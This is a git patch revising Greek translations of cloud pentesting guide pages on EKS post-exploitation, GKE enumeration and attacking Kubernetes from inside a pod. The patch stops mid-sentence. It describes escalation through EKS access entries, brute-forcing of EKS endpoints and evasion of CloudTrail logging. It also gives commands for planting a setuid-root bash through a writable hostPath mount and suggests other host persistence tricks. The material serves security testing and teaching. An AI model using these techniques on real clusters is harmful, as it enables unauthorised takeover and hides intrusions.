From 3f3b2dcbbb28a1d2d63688a3ed4630b87beb97cf Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 9 Jul 2026 09:21:29 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-enu --- .../aws-eks-post-exploitation/README.md | 54 ++-- .../gcp-containers-gke-and-composer-enum.md | 56 ++-- .../attacking-kubernetes-from-inside-a-pod.md | 267 +++++++++--------- .../exposing-services-in-kubernetes.md | 80 +++--- .../kubernetes-enumeration.md | 177 +++++++----- .../kubernetes-network-attacks.md | 90 +++--- .../kubernetes-pivoting-to-clouds.md | 165 +++++++---- ...bernetes-role-based-access-control-rbac.md | 59 ++-- ...bernetes-validatingwebhookconfiguration.md | 103 ++++--- .../pentesting-kubernetes-services/README.md | 92 +++--- ...ubelet-authentication-and-authorization.md | 73 +++-- 11 files changed, 700 insertions(+), 516 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md index 0d42a3b74..5c97038a5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -10,9 +10,9 @@ ../../aws-services/aws-eks-enum.md {{#endref}} -### Enumerate the cluster from the AWS Console +### Enumerate the cluster από το AWS Console -Αν έχετε την άδεια **`eks:AccessKubernetesApi`** μπορείτε να **δείτε Kubernetes objects** μέσω του AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Αν έχετε το permission **`eks:AccessKubernetesApi`** μπορείτε να **view Kubernetes objects** μέσω του AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). ### Connect to AWS Kubernetes Cluster @@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev ``` - Όχι τόσο εύκολος τρόπος: -Αν μπορείς να **get a token** με **`aws eks get-token --name `** αλλά δεν έχεις permissions να πάρεις cluster info (describeCluster), μπορείς να **ετοιμάσεις το δικό σου `~/.kube/config`**. Ωστόσο, έχοντας το token, εξακολουθείς να χρειάζεσαι το **url endpoint to connect to** (αν κατάφερες να πάρεις ένα JWT token from a pod read [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) και το **name of the cluster**. +Αν μπορείς να **get a token** με **`aws eks get-token --name `** αλλά δεν έχεις permissions για να πάρεις cluster info (describeCluster), μπορείς να **prepare your own `~/.kube/config`**. Ωστόσο, έχοντας το token, εξακολουθείς να χρειάζεσαι το **url endpoint to connect to** (αν κατάφερες να πάρεις ένα JWT token από ένα pod read [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) και το **name of the cluster**. Στη δική μου περίπτωση, δεν βρήκα τις πληροφορίες στα CloudWatch logs, αλλά τις **βρήκα στο LaunchTemaplates userData** και επίσης σε **EC2 machines in userData**. Μπορείς να δεις αυτές τις πληροφορίες στο **userData** εύκολα, για παράδειγμα στο επόμενο παράδειγμα (το cluster name ήταν cluster-name): ```bash @@ -70,55 +70,55 @@ provideClusterInfo: false ``` -### Από AWS σε Kubernetes +### From AWS to Kubernetes -Ο **creator** του **EKS cluster** θα μπορεί **ΠΑΝΤΑ** να μπει στο kubernetes cluster ως μέρος της ομάδας **`system:masters`** (k8s admin). Τη στιγμή που γράφεται αυτό δεν υπάρχει **άμεσος τρόπος** να βρεθεί **ποιος δημιούργησε** το cluster (μπορείς να ελέγξεις το CloudTrail). Και δεν υπάρχει **κανένας τρόπος** να **αφαιρεθεί** αυτό το **privilege**. +Ιστορικά, ο **creator** ενός **EKS cluster** λάμβανε κρυφή Kubernetes admin access που δεν ήταν ορατή στο `aws-auth`. Στα τρέχοντα EKS clusters, αυτό εξαρτάται από το cluster access configuration. Το `bootstrapClusterCreatorAdminPermissions` ελέγχει αν ο creator προστίθεται ως cluster-admin access entry κατά τη δημιουργία, και τα EKS access entries κάνουν αυτή την admin διαδρομή ορατή και ανακλητή μέσω του EKS API. Παλαιότερα clusters ή clusters που εξακολουθούν να βασίζονται στο `aws-auth` ίσως να έχουν ακόμα legacy creator behavior, οπότε επιβεβαίωσε το `accessConfig`, απαρίθμησε access entries, και έλεγξε το CloudTrail αντί να υποθέτεις ότι ο creator έχει πάντα μη αφαιρούμενο `system:masters`. #### Abusing configmap -Ο παραδοσιακός τρόπος να δοθεί **access over K8s σε περισσότερους AWS IAM users ή roles** είναι με το **configmap** **`aws-auth`**. +Ο παραδοσιακός τρόπος για να δοθεί **access to over K8s to more AWS IAM users or roles** είναι η χρήση του **configmap** **`aws-auth`**. > [!WARNING] -> Επομένως, όποιος έχει **write access** στο config map **`aws-auth`** θα μπορεί να **compromise ολόκληρο το cluster**. +> Επομένως, οποιοσδήποτε έχει **write access** πάνω στο config map **`aws-auth`** θα μπορεί να **compromise the whole cluster**. -Για περισσότερες πληροφορίες για το πώς να **δώσετε extra privileges σε IAM roles & users** στο **ίδιο ή διαφορετικό account** και πώς να κάνετε **abuse** αυτό για [**privesc δες αυτή τη σελίδα**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). +Για περισσότερες πληροφορίες σχετικά με το πώς να **grant extra privileges to IAM roles & users** στο **same or different account** και πώς να το **abuse** αυτό για [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). -Δες επίσης[ **αυτό το awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post για να μάθεις πώς δουλεύει το authentication IAM -> Kubernetes**. +Δες επίσης[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. #### Abusing Access Entries -Η AWS implementes έναν επιπλέον τρόπο για να δίνει IAM users access στο Kubernetes cluster μέσω access entries. Αν έχεις τα `eks:CreateAccessEntry` και `eks:AssociateAccessPolicy` permissions, μπορεί επίσης να μπορέσεις να αναθέσεις έναν Kubernetes administrator role είτε στον user σου είτε σε έναν συγκεκριμένο rol. +Το AWS υλοποιεί έναν επιπλέον τρόπο για να δίνει IAM users access στο Kubernetes cluster μέσω access entries. Αν έχεις τα permissions `eks:CreateAccessEntry` και `eks:AssociateAccessPolicy`, ίσως να μπορείς επίσης να αποδώσεις έναν Kubernetes administrator role είτε στον δικό σου user είτε σε ένα συγκεκριμένο role. Πρώτα, **create an access entry for your user or role**: ``` aws eks create-access-entry --cluster-name --region --principal-arn --type STANDARD ``` -Με την καταχώρηση δημιουργημένη, ίσως τώρα να μπορείς να αντιστοιχίσεις απευθείας μια policy σε αυτήν. Υπάρχει μια ενσωματωμένη AWS policy που ονομάζεται *AmazonEKSClusterAdminPolicy* και μπορεί να χρησιμοποιηθεί απευθείας. Να θυμάσαι ότι αν το περιβάλλον σου έχει και άλλες custom policies που επίσης παρέχουν elevated privileges στο EKS, μπορείς να αλλάξεις το `--policy-arn` σε οποιαδήποτε από αυτές: +Με αυτήν την εγγραφή δημιουργημένη, ίσως τώρα να μπορείς να αντιστοιχίσεις ένα policy απευθείας σε αυτήν. Υπάρχει ένα ενσωματωμένο AWS policy που λέγεται *AmazonEKSClusterAdminPolicy* και μπορεί να χρησιμοποιηθεί απευθείας. Να θυμάσαι ότι αν το περιβάλλον σου έχει κάποια άλλα custom policies που επίσης δίνουν elevated privileges στο EKS, μπορείς να αλλάξεις το `--policy-arn` σε οποιοδήποτε από αυτά: ``` aws eks associate-access-policy --cluster-name --region --principal-arn --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster ``` -Μπορείς να αναζητήσεις αυτή την policy στην επίσημη AWS documentation [**εδώ**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) +Μπορείτε να αναζητήσετε αυτήν την πολιτική στην επίσημη τεκμηρίωση του AWS [**εδώ**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) -Από αυτό το σημείο και μετά, μπορεί πλέον να είσαι σε θέση να ζητήσεις ένα *k8s* token και να αλληλεπιδράσεις με το cluster ως administrator: +Από αυτό το σημείο και μετά, μπορεί πλέον να μπορείτε να ζητήσετε ένα *k8s* token και να αλληλεπιδράσετε με το cluster ως administrator: ``` aws eks get-token --cluster-name --output json | jq -r '.status.token' ``` ### Από Kubernetes σε AWS -Είναι δυνατό να επιτραπεί ένα **OpenID authentication for kubernetes service account** ώστε να μπορούν να αναλαμβάνουν roles στο AWS. Μάθετε πώς [**αυτό λειτουργεί σε αυτή τη σελίδα**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +Είναι δυνατό να επιτραπεί **OpenID authentication για kubernetes service account** ώστε να μπορούν να αναλάβουν roles στο AWS. Μάθετε πώς [**λειτουργεί αυτό σε αυτή τη σελίδα**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### GET Api Server Endpoint from a JWT Token +### GET Api Server Endpoint από ένα JWT Token -Αποκωδικοποιώντας το JWT token παίρνουμε το cluster id & επίσης το region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Γνωρίζοντας ότι η standard μορφή για EKS url είναι +Αποκωδικοποιώντας το JWT token παίρνουμε το cluster id & επίσης το region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Γνωρίζοντας ότι το standard format για EKS url είναι ```bash https://...eks.amazonaws.com ``` -Δεν βρήκα καμία τεκμηρίωση που να εξηγεί τα κριτήρια για τα 'two chars' και το 'number'. Αλλά κάνοντας κάποια tests από μέρους μου, βλέπω να επαναλαμβάνονται αυτά: +Δεν βρήκα καμία τεκμηρίωση που να εξηγεί τα κριτήρια για τα 'two chars' και το 'number'. Όμως, κάνοντας μερικά tests από μέρους μου, βλέπω να επαναλαμβάνονται αυτά τα παρακάτω: - gr7 - yl4 -Σε κάθε περίπτωση, είναι μόνο 3 chars και μπορούμε να τα bruteforce them. Χρησιμοποίησε το παρακάτω script για τη δημιουργία της λίστας +Σε κάθε περίπτωση είναι μόνο 3 chars, μπορούμε να τα bruteforce them. Χρησιμοποίησε το παρακάτω script για να δημιουργήσεις τη λίστα ```python from itertools import product from string import ascii_lowercase @@ -134,30 +134,30 @@ for comb in product(letter_combinations, number_combinations) with open('out.txt', 'w') as f: f.write('\n'.join(result)) ``` -Τότε με wfuzz +Στη συνέχεια με wfuzz ```bash wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` > [!WARNING] -> Remember to replace & . +> Θυμηθείτε να αντικαταστήσετε & . ### Παράκαμψη CloudTrail -Αν ένας attacker αποκτήσει credentials ενός AWS με **permission over an EKS**. Αν ο attacker ρυθμίσει το δικό του **`kubeconfig`** (χωρίς να καλέσει το **`update-kubeconfig`**) όπως εξηγήθηκε προηγουμένως, το **`get-token`** δεν δημιουργεί logs στο Cloudtrail επειδή δεν αλληλεπιδρά με το AWS API (απλώς δημιουργεί το token τοπικά). +Αν ένας επιτιθέμενος αποκτήσει credentials από ένα AWS με **permission over an EKS**. Αν ο επιτιθέμενος ρυθμίσει το δικό του **`kubeconfig`** (χωρίς να καλέσει το **`update-kubeconfig`**) όπως εξηγήθηκε προηγουμένως, το **`get-token`** δεν δημιουργεί logs στο Cloudtrail επειδή δεν αλληλεπιδρά με το AWS API (απλώς δημιουργεί το token τοπικά). -Άρα, όταν ο attacker επικοινωνεί με το EKS cluster, το **cloudtrail δεν θα καταγράψει τίποτα σχετικό με τον user που έχει stolen και κάνει access σε αυτό**. +Έτσι, όταν ο επιτιθέμενος μιλάει με το EKS cluster, το **cloudtrail δεν θα καταγράψει τίποτα σχετικό με τον user που κλάπηκε και αποκτά πρόσβαση σε αυτό**. -Σημείωσε ότι το **EKS cluster μπορεί να έχει ενεργοποιημένα logs** που θα καταγράψουν αυτή την access (αν και, by default, είναι απενεργοποιημένα). +Σημειώστε ότι το **EKS cluster μπορεί να έχει ενεργοποιημένα logs** που θα καταγράψουν αυτή την πρόσβαση (αν και, by default, είναι απενεργοποιημένα). ### EKS Ransom? -By default ο **user ή role που δημιούργησε** ένα cluster θα έχει **ALWAYS admin privileges** πάνω στο cluster. Και αυτή είναι η μόνη **secure** access που θα έχει το AWS πάνω στο Kubernetes cluster. +By default ο **user ή role που δημιούργησε** ένα cluster θα έχει **ALWAYS admin privileges** πάνω στο cluster. Και αυτή είναι η μόνη "secure" πρόσβαση που θα έχει το AWS στο Kubernetes cluster. -Άρα, αν ένας **attacker compromizes ένα cluster χρησιμοποιώντας fargate** και **αφαιρέσει όλους τους άλλους admins** και d**eletes τον AWS user/role που δημιούργησε** το Cluster, ~~ο attacker θα μπορούσε να είχε **ransomed το cluste**~~**r**. +Άρα, αν ένας **επιτιθέμενος παραβιάσει ένα cluster χρησιμοποιώντας fargate** και **αφαιρέσει όλους τους άλλους admins** και **διαγράψει τον AWS user/role που δημιούργησε** το Cluster, ~~ο επιτιθέμενος θα μπορούσε να είχε **ransomed the cluste**~~**r**. > [!TIP] -> Σημείωσε ότι αν το cluster χρησιμοποιούσε **EC2 VMs**, θα ήταν δυνατό να πάρεις Admin privileges από το **Node** και να ανακτήσεις το cluster. +> Σημειώστε ότι αν το cluster χρησιμοποιούσε **EC2 VMs**, θα ήταν πιθανό να αποκτηθούν Admin privileges από τον **Node** και να ανακτηθεί το cluster. > -> Στην πραγματικότητα, αν το cluster χρησιμοποιεί Fargate θα μπορούσες να EC2 nodes ή να μεταφέρεις τα πάντα σε EC2 to the cluster και να το ανακτήσεις accessing τα tokens στο node. +> Στην πραγματικότητα, αν το cluster χρησιμοποιεί Fargate θα μπορούσατε EC2 nodes ή να μεταφέρετε τα πάντα σε EC2 στο cluster και να το ανακτήσετε, αποκτώντας πρόσβαση στα tokens στο node. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md index 6c8e7fc89..e69b29c26 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md @@ -4,7 +4,7 @@ ## Containers -Στα GCP containers μπορείς να βρεις τις περισσότερες container-based services που προσφέρει το GCP, εδώ μπορείς να δεις πώς να κάνεις enumerate τις πιο συνηθισμένες: +Στα GCP containers μπορείς να βρεις τις περισσότερες από τις container-based υπηρεσίες που προσφέρει το GCP, εδώ μπορείς να δεις πώς να κάνεις enumeration στις πιο κοινές από αυτές: ```bash gcloud container images list gcloud container images list --repository us.gcr.io/ #Search in other subdomains repositories @@ -24,7 +24,7 @@ sudo docker pull HOSTNAME// ``` ### Privesc -Στην παρακάτω σελίδα μπορείτε να δείτε πώς να **abuse container permissions to escalate privileges**: +Στην ακόλουθη σελίδα μπορείτε να δείτε πώς να **abuse container permissions to escalate privileges**: {{#ref}} ../gcp-privilege-escalation/gcp-container-privesc.md @@ -32,7 +32,7 @@ sudo docker pull HOSTNAME// ## Node Pools -Αυτά είναι το pool από μηχανές (nodes) που σχηματίζουν τα kubernetes clusters. +Αυτά είναι το pool από machines (nodes) που σχηματίζουν τα kubernetes clusters. ```bash # Pool of machines used by the cluster gcloud container node-pools list --zone --cluster @@ -40,35 +40,35 @@ gcloud container node-pools describe --cluster --zone --region \ --format='value(workloadIdentityConfig.workloadPool)' @@ -76,17 +76,31 @@ gcloud container clusters describe --region \ kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8 kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName' ``` -Αν ένα service account έχει το annotation `iam.gke.io/gcp-service-account`, εξέτασε την IAM service account policy για `roles/iam.workloadIdentityUser` grants προς Kubernetes service account principals. Έλεγξε επίσης IAM allow policies για direct workload identity principals ή broad principal sets. +Εάν ένα service account έχει το annotation `iam.gke.io/gcp-service-account`, εξέτασε το IAM service account policy για `roles/iam.workloadIdentityUser` grants προς Kubernetes service account principals. Επίσης έλεγξε IAM allow policies για direct workload identity principals ή ευρείς `principalSet://` grants, όπως namespace-wide ή cluster-wide workload access. Το annotation `iam.gke.io/credential-quota-project` απλώς μεταφέρει το IAM Service Account Credentials API quota σε άλλο project· το workload principal εξακολουθεί να χρειάζεται `serviceusage.services.use` σε αυτό το quota project και ξεχωριστό IAM access στο target resource. -Η πρόσβαση στα metadata εξαρτάται από το cluster mode, το node pool configuration και τα workload settings. Μην υποθέτεις ότι κάθε pod μπορεί να κλέψει το node service account. Σε Workload Identity-enabled environments, τα συνηθισμένα pods θα πρέπει να χρησιμοποιούν το GKE metadata server για να αποκτούν το workload identity που προορίζεται για το Kubernetes service account τους. Node compromise, `hostNetwork` pods σε ορισμένες Standard configurations και legacy node metadata exposure μπορούν ακόμα να αλλάξουν το blast radius, οπότε επαλήθευσε το πραγματικό node pool metadata mode, το node service account, τα OAuth scopes και το pod placement. +Η πρόσβαση στα Metadata εξαρτάται από το cluster mode, τη ρύθμιση του node pool και τις workload settings. Μην υποθέτεις ότι κάθε pod μπορεί να κλέψει το node service account. Σε περιβάλλοντα με Workload Identity enabled, τα συνηθισμένα pods θα πρέπει να χρησιμοποιούν το GKE metadata server για να αποκτούν το workload identity που προορίζεται για το Kubernetes service account τους. Node compromise, `hostNetwork` pods σε ορισμένες Standard ρυθμίσεις, και legacy node metadata exposure μπορούν ακόμη να αλλάξουν το blast radius, οπότε επαλήθευσε το πραγματικό node pool metadata mode, το node service account, τα OAuth scopes και το pod placement. + +Αν ένα Workload Identity-enabled pod δεν μπορεί να πάρει token, έλεγξε επίσης NetworkPolicy egress πριν υποθέσεις ότι το IAM binding είναι λάθος. Τα GKE Standard clusters που χρησιμοποιούν NetworkPolicy πρέπει να επιτρέπουν το metadata-server path που απαιτείται από την cluster version και το dataplane, και το Dataplane V2 χρησιμοποιεί το `169.254.169.254` path για metadata-server access. + +### Autopilot privileged workload allowlists + +Το GKE Autopilot μπλοκάρει από προεπιλογή τα περισσότερα privileged workloads, αλλά μπορεί να υπάρχουν εγκεκριμένες εξαιρέσεις. Έλεγξε privileged admission settings, `AllowlistSynchronizer` objects, και εγκατεστημένα `WorkloadAllowlist` objects πριν υποθέσεις ότι ένα privileged pod είναι αδύνατο: +```bash +gcloud container clusters describe --region \ +--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)' + +kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml +kubectl get workloadallowlists.auto.gke.io -A -o yaml +``` +Τα Allowlist paths μπορούν να είναι GKE-owned (`gke://...`) ή customer-owned Cloud Storage paths (`gs://...`). Τα wildcards και τα broad bucket paths αυξάνουν το blast radius, επειδή μελλοντικά allowlist files κάτω από αυτό το path μπορεί να γίνουν valid για το cluster. Όταν εγκαθίσταται ένα `WorkloadAllowlist`, σύγκρινε τα exemptions και τα matching criteria του με το pod spec, ειδικά image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, και αν το `autopilot.gke.io/no-connect` αποτρέπει την πρόσβαση `exec` στο privileged workload. ### TLS Boostrap Privilege Escalation -Αρχικά αυτή η privilege escalation technique επέτρεπε **privesc μέσα στο GKE cluster**, επιτρέποντας ουσιαστικά σε έναν attacker να **το compromise πλήρως**. +Αρχικά αυτή η privilege escalation technique επέτρεπε να γίνει **privesc μέσα στο GKE cluster** επιτρέποντας ουσιαστικά σε έναν attacker να το **compromise fully**. -Αυτό συμβαίνει επειδή το GKE παρέχει [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) στα metadata, τα οποία είναι **προσβάσιμα από οποιονδήποτε απλώς κάνοντας compromise ένα pod**. +Αυτό συμβαίνει επειδή το GKE παρέχει [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) στα metadata, τα οποία είναι **προσβάσιμα από οποιονδήποτε απλώς compromizing ένα pod**. -Η technique που χρησιμοποιήθηκε εξηγείται στα παρακάτω posts: +Η technique που χρησιμοποιήθηκε εξηγείται στα ακόλουθα posts: - [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/) - [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/) @@ -94,15 +108,15 @@ kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.nam Και αυτό το tool δημιουργήθηκε για να αυτοματοποιήσει τη διαδικασία: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) -Ωστόσο, η technique εκμεταλλευόταν το γεγονός ότι **με τα metadata credentials** ήταν δυνατό να **generate ένα CSR** (Certificate Signing Request) για ένα **νέο node**, το οποίο **approve-αριζόταν αυτόματα**.\ -Στο test μου επαλήθευσα ότι **αυτά τα requests δεν approve-άρονται πλέον αυτόματα**, οπότε δεν είμαι σίγουρος αν αυτή η technique είναι ακόμα valid. +Ωστόσο, η technique abused το γεγονός ότι **με τα metadata credentials** ήταν δυνατό να **generate a CSR** (Certificate Signing Request) για ένα **new node**, το οποίο **approvόταν automatically**.\ +Στο test μου έλεγξα ότι **αυτά τα requests δεν approvούνται automatically πλέον**, οπότε δεν είμαι σίγουρος αν αυτή η technique είναι ακόμα valid. ### Secrets in Kubelet API -Στο [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) ανακαλύφθηκε ανακαλύφθηκε ένα Kubelet API address προσβάσιμο από μέσα από ένα pod στο GKE που έδινε τις details των pods που εκτελούνταν: +Στο [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) ανακαλύφθηκε ανακαλύφθηκε μια Kubelet API address προσβάσιμη από μέσα σε ένα pod στο GKE που έδινε τις λεπτομέρειες των pods που έτρεχαν: ``` curl -v -k http://10.124.200.1:10255/pods ``` -Ακόμα κι αν το API **δεν επιτρέπει την τροποποίηση resources**, μπορεί να είναι δυνατό να βρεθούν **ευαίσθητες πληροφορίες** στην απόκριση. Το endpoint /pods βρέθηκε χρησιμοποιώντας [**Kiterunner**](https://github.com/assetnote/kiterunner). +Ακόμα κι αν το API **δεν επιτρέπει την τροποποίηση πόρων**, μπορεί να είναι δυνατό να βρεθούν **ευαίσθητες πληροφορίες** στην απάντηση. Το endpoint /pods βρέθηκε χρησιμοποιώντας [**Kiterunner**](https://github.com/assetnote/kiterunner). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md index 6dbf152c0..07de8f015 100644 --- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md +++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md @@ -4,19 +4,19 @@ ## **Pod Breakout** -**Αν είσαι αρκετά τυχερός, μπορεί να καταφέρεις να δραπετεύσεις από αυτό προς το node:** +**Αν είσαι αρκετά τυχερός, ίσως μπορέσεις να δραπετεύσεις από αυτό προς το node:** ![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg) ### Escaping from the pod -Για να προσπαθήσεις να δραπετεύσεις από τα pods, μπορεί να χρειαστεί πρώτα να **escalate privileges**· μερικές τεχνικές για να το κάνεις: +Για να προσπαθήσεις να δραπετεύσεις από τα pods, ίσως χρειαστεί πρώτα να κάνεις **escalate privileges**, μερικές τεχνικές για αυτό: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}} -Μπορείς να ελέγξεις αυτά τα **docker breakouts to try to escape** από ένα pod που έχεις compromise: +Μπορείς να ελέγξεις αυτά τα **docker breakouts to try to escape** από ένα pod που έχεις compromised: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html @@ -24,16 +24,16 @@ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-secu ### Abusing writable hostPath/bind mounts (container -> host root via SUID planting) -Αν ένα compromised pod/container έχει ένα writable volume που χαρτογραφείται απευθείας στο host filesystem (Kubernetes hostPath ή Docker bind mount), και μπορείς να γίνεις root μέσα στο container, μπορείς να εκμεταλλευτείς το mount για να δημιουργήσεις ένα setuid-root binary στο host και μετά να το εκτελέσεις από το host για να πάρεις root. +Αν ένα compromised pod/container έχει ένα writable volume που αντιστοιχεί απευθείας στο host filesystem (Kubernetes hostPath ή Docker bind mount), και μπορείς να γίνεις root μέσα στο container, μπορείς να αξιοποιήσεις το mount για να δημιουργήσεις ένα setuid-root binary στο host και μετά να το εκτελέσεις από το host για να πάρεις root. Βασικές προϋποθέσεις: - Το mounted volume είναι writable από μέσα στο container (readOnly: false και τα filesystem permissions επιτρέπουν write). -- Το host filesystem που υποστηρίζει το mount δεν είναι mounted με την επιλογή nosuid. -- Έχεις κάποιον τρόπο να εκτελέσεις το planted binary στο host (για παράδειγμα, ξεχωριστό SSH/RCE στο host, ένας user στο host μπορεί να το εκτελέσει, ή άλλο vector που εκτελεί binaries από αυτό το path). +- Το host filesystem πίσω από το mount δεν είναι mounted με το nosuid option. +- Έχεις κάποιον τρόπο να εκτελέσεις το planted binary στο host (για παράδειγμα, ξεχωριστό SSH/RCE στο host, ένας user στο host μπορεί να το εκτελέσει, ή άλλο vector που τρέχει binaries από αυτό το path). Πώς να εντοπίσεις writable hostPath/bind mounts: - Με kubectl, έλεγξε για hostPath volumes: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' -- Από μέσα στο container, κάνε list mounts και ψάξε για host-path mounts και δοκίμασε writability: +- Από μέσα στο container, κάνε list τα mounts και ψάξε για host-path mounts και δοκίμασε writability: ```bash # Inside the compromised container mount | column -t @@ -54,27 +54,27 @@ chmod 6777 "$MOUNT/suidbash" ls -l "$MOUNT/suidbash" # -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash ``` -Εκτέλεσε στο host για να αποκτήσεις root: +Εκτέλεσε στον host για να αποκτήσεις root: ```bash # On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration) # Example host path: /opt/limesurvey/suidbash ls -l /opt/limesurvey/suidbash /opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash ``` -Σημειώσεις και αντιμετώπιση προβλημάτων: -- Αν το host mount έχει nosuid, τα setuid bits θα αγνοηθούν. Έλεγξε τις mount options στο host (cat /proc/mounts | grep ) και αναζήτησε nosuid. -- Αν δεν μπορείς να πάρεις host execution path, παρόμοια writable mounts μπορούν να αξιοποιηθούν για να γράψεις άλλα persistence/priv-esc artifacts στο host αν ο mapped directory είναι security-critical (π.χ. πρόσθεσε ένα root SSH key αν το mount maps στο /root/.ssh, ρίξε ένα cron/systemd unit αν maps στο /etc, αντικατάστησε ένα root-owned binary στο PATH που θα εκτελέσει ο host, κ.λπ.). Η εφικτότητα εξαρτάται πλήρως από το ποιο path είναι mounted. -- Αυτή η technique λειτουργεί επίσης με απλά Docker bind mounts· στο Kubernetes συνήθως είναι ένα hostPath volume (readOnly: false) ή ένα incorrectly scoped subPath. +Σημειώσεις και troubleshooting: +- Αν το host mount έχει nosuid, τα setuid bits θα αγνοηθούν. Έλεγξε τις mount options στο host (cat /proc/mounts | grep ) και ψάξε για nosuid. +- Αν δεν μπορείς να βρεις host execution path, παρόμοια writable mounts μπορούν να abused για να γράψεις άλλα persistence/priv-esc artifacts στο host αν ο mapped directory είναι security-critical (π.χ. πρόσθεσε ένα root SSH key αν το mount mapάρει στο /root/.ssh, drop ένα cron/systemd unit αν mapάρει στο /etc, αντικατάστησε ένα root-owned binary στο PATH που θα εκτελέσει ο host, κ.λπ.). Η feasibility εξαρτάται πλήρως από το ποιο path είναι mounted. +- Αυτή η technique δουλεύει επίσης με plain Docker bind mounts; στο Kubernetes είναι συνήθως ένα hostPath volume (readOnly: false) ή ένα incorrectly scoped subPath. ### Abusing Kubernetes Privileges -Όπως εξηγείται στην ενότητα για **kubernetes enumeration**: +Όπως εξηγήθηκε στην ενότητα για το **kubernetes enumeration**: {{#ref}} kubernetes-enumeration.md {{#endref}} -Συνήθως τα pods εκτελούνται με ένα **service account token** μέσα σε αυτά. Αυτό το service account μπορεί να έχει ορισμένα **privileges** συνδεδεμένα με αυτό που μπορείς να **abuse** για να **move** σε άλλα pods ή ακόμη και να **escape** στα nodes που έχουν ρυθμιστεί μέσα στο cluster. Δες πώς στο: +Συνήθως τα pods τρέχουν με ένα **service account token** μέσα τους. Αυτό το service account μπορεί να έχει κάποια **privileges** attached σε αυτό που θα μπορούσες να **abuse** για να **move** σε άλλα pods ή ακόμα και να **escape** στα nodes που έχουν ρυθμιστεί μέσα στο cluster. Δες πώς στο: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -82,23 +82,23 @@ abusing-roles-clusterroles-in-kubernetes/ ### Abusing Cloud Privileges -Αν το pod εκτελείται μέσα σε ένα **cloud environment** ίσως να 